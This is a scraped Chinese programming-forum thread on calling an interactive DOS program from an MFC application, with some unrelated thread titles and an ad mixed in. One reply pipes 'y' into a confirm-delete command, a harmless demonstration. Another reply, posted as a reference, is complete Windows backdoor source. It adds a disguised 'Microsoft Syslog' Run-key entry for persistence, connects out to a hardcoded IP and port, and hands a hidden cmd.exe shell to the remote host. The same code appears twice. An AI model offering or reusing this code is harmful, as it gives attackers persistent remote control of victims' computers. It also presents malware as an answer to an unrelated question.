如何在MFC的程序中调用DOS程序?? 我现在想调用一个已经存在的DOS程序,但这个程序在输入一次参数,按回车后还要再输入另一个参数,请问我在程序中怎么做才能保证一次就将这个DOS程序调用完?? 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 可以参考这个例子程序(在程序中与控制台交互):http://www.yangning.com/cgi-bin/topic.cgi?forum=1&topic=76&show=0 如果充分利用命令行的特性(管道,连接命令),可以这样:char sParamFile[] = "c:\\my_param.tmp";CStdioFile sFile(sParamFile, CStdioFile::modeCreate|CStdioFile::modeWrite);sFile.WriteString("y\n");sFile.Close();CString sParam;sParam.Format(" /k type %s | del c:\\a.txt /p && del %s && exit", sParamFile, sParamFile);ShellExecute(NULL, NULL, "cmd.exe", sParam, NULL, SW_HIDE);上面的代码执行 del c:\\a.txt \p,由于我不知道你的dos程序是怎样的,所以用del来模拟。del加参数\p即要求删除时确认,此时需要按y或n然后回车来完成命令。先把后续的输入(y,回车)写到一个临时文件sParamFile,然后用管道|来用它的内容为命令提供输入,然后删除临时文件,最后退出命令行程序。 system("aaa.exe");maybe need stdio.h dos.h 给个程序给你参考==========================================================================#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")#pragma comment(lib, "advapi32.lib")#pragma comment(lib, "user32.lib")/* Win entry point (sa evite d'avoir une grosse console crade qui s'affiche ) */int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow ){ WSADATA wd; HKEY MyKey; SOCKET sock; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in sin; char buffer[MAX_PATH], cmd[MAX_PATH], *p, IP[16] = "81.91.66.30\x00"; // adresse IP par default (ici www.s0h.cc) unsigned short port = 7758; // port par default /* backdoor le bordel */ GetWindowsDirectory (buffer,MAX_PATH); lstrcat (buffer,"\\syslog.exe\x00"); GetModuleFileName (NULL,cmd,MAX_PATH); CopyFile (cmd,buffer,FALSE); RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",(DWORD)NULL,KEY_ALL_ACCESS,&MyKey); RegSetValueEx (MyKey,"Microsoft Syslog",(DWORD)NULL,REG_SZ,( CONST BYTE * )&buffer,strlen (buffer)); /* traite les eventuels arguments */ p = strtok (lpszCmdLine," "); if (lpszCmdLine[0] == '/' || IsCharAlphaNumeric(lpszCmdLine[0])) { if (!lstrcmpi (lpszCmdLine,"/kill")) { RegDeleteValue(MyKey,"Microsoft Syslog"); ExitProcess (0);} else port = atoi (lpszCmdLine); if ( p = strtok (NULL," ") ) lstrcpyn (IP,p,16); } /* prepare la sauce */ memset(&si, 0, sizeof(si)); WSAStartup(MAKEWORD( 1, 1 ), &wd); // David Litchfield in his Blackhat talk said... (PJ) sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.s_addr = inet_addr(IP); /* tente une connexion toute les 30 secondes */ while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (30000); /* balance le shell et ce casse */ si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi ); return 0; } vc中怎么将数值型变量转换成字符串显示到静态文本中 wsarecvfrom VC调用Word打开Html是乱码,查不到资料,请高手指点一下,谢谢! 请教大家要使100n^2小于2^n,n至少要多大?写出详细解答过程。 怎么样看ActiveX控件用到的dll库的版本呀 简单的,关于循环效率的问题 为什么使用向导生成的程序直接运行都出错呢? 真的不懂,HELP ME! 一个软件没有运行,但是要运行它却提示“XXX正在运行”,可能是什么原因 ? 关于线程参数传递问题求解,关心者请进! 怎么写一个好象叫FIRE的过程在ATL中,就是触发网页的 我的VC为什么认不出extern "C"?
http://www.yangning.com/cgi-bin/topic.cgi?forum=1&topic=76&show=0
CStdioFile sFile(sParamFile, CStdioFile::modeCreate|CStdioFile::modeWrite);
sFile.WriteString("y\n");
sFile.Close();
CString sParam;
sParam.Format(" /k type %s | del c:\\a.txt /p && del %s && exit", sParamFile, sParamFile);
ShellExecute(NULL, NULL, "cmd.exe", sParam, NULL, SW_HIDE);上面的代码执行 del c:\\a.txt \p,由于我不知道你的dos程序是怎样的,所以用del来模拟。del加参数\p即要求删除时确认,此时需要按y或n然后回车来完成命令。先把后续的输入(y,回车)写到一个临时文件sParamFile,然后用管道|来用它的内容为命令提供输入,然后删除临时文件,最后退出命令行程序。
==========================================================================
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")/* Win entry point (sa evite d'avoir une grosse console crade qui s'affiche ) */int WINAPI WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpszCmdLine,
int nCmdShow
)
{ WSADATA wd;
HKEY MyKey;
SOCKET sock;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in sin;
char buffer[MAX_PATH], cmd[MAX_PATH], *p,
IP[16] = "81.91.66.30\x00"; // adresse IP par default (ici www.s0h.cc)
unsigned short port = 7758; // port par default /* backdoor le bordel */
GetWindowsDirectory (buffer,MAX_PATH);
lstrcat (buffer,"\\syslog.exe\x00");
GetModuleFileName (NULL,cmd,MAX_PATH); CopyFile (cmd,buffer,FALSE);
RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",(DWORD)NULL,KEY_ALL_ACCESS,&MyKey);
RegSetValueEx (MyKey,"Microsoft Syslog",(DWORD)NULL,REG_SZ,( CONST BYTE * )&buffer,strlen (buffer)); /* traite les eventuels arguments */
p = strtok (lpszCmdLine," ");
if (lpszCmdLine[0] == '/' || IsCharAlphaNumeric(lpszCmdLine[0]))
{
if (!lstrcmpi (lpszCmdLine,"/kill")) { RegDeleteValue(MyKey,"Microsoft Syslog"); ExitProcess (0);}
else port = atoi (lpszCmdLine); if ( p = strtok (NULL," ") ) lstrcpyn (IP,p,16);
} /* prepare la sauce */
memset(&si, 0, sizeof(si));
WSAStartup(MAKEWORD( 1, 1 ), &wd); // David Litchfield in his Blackhat talk said... (PJ)
sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(IP); /* tente une connexion toute les 30 secondes */
while ( connect(sock, (struct sockaddr*)&sin, sizeof (sin)) ) Sleep (30000);
/* balance le shell et ce casse */
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock;
CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi );
return 0;
}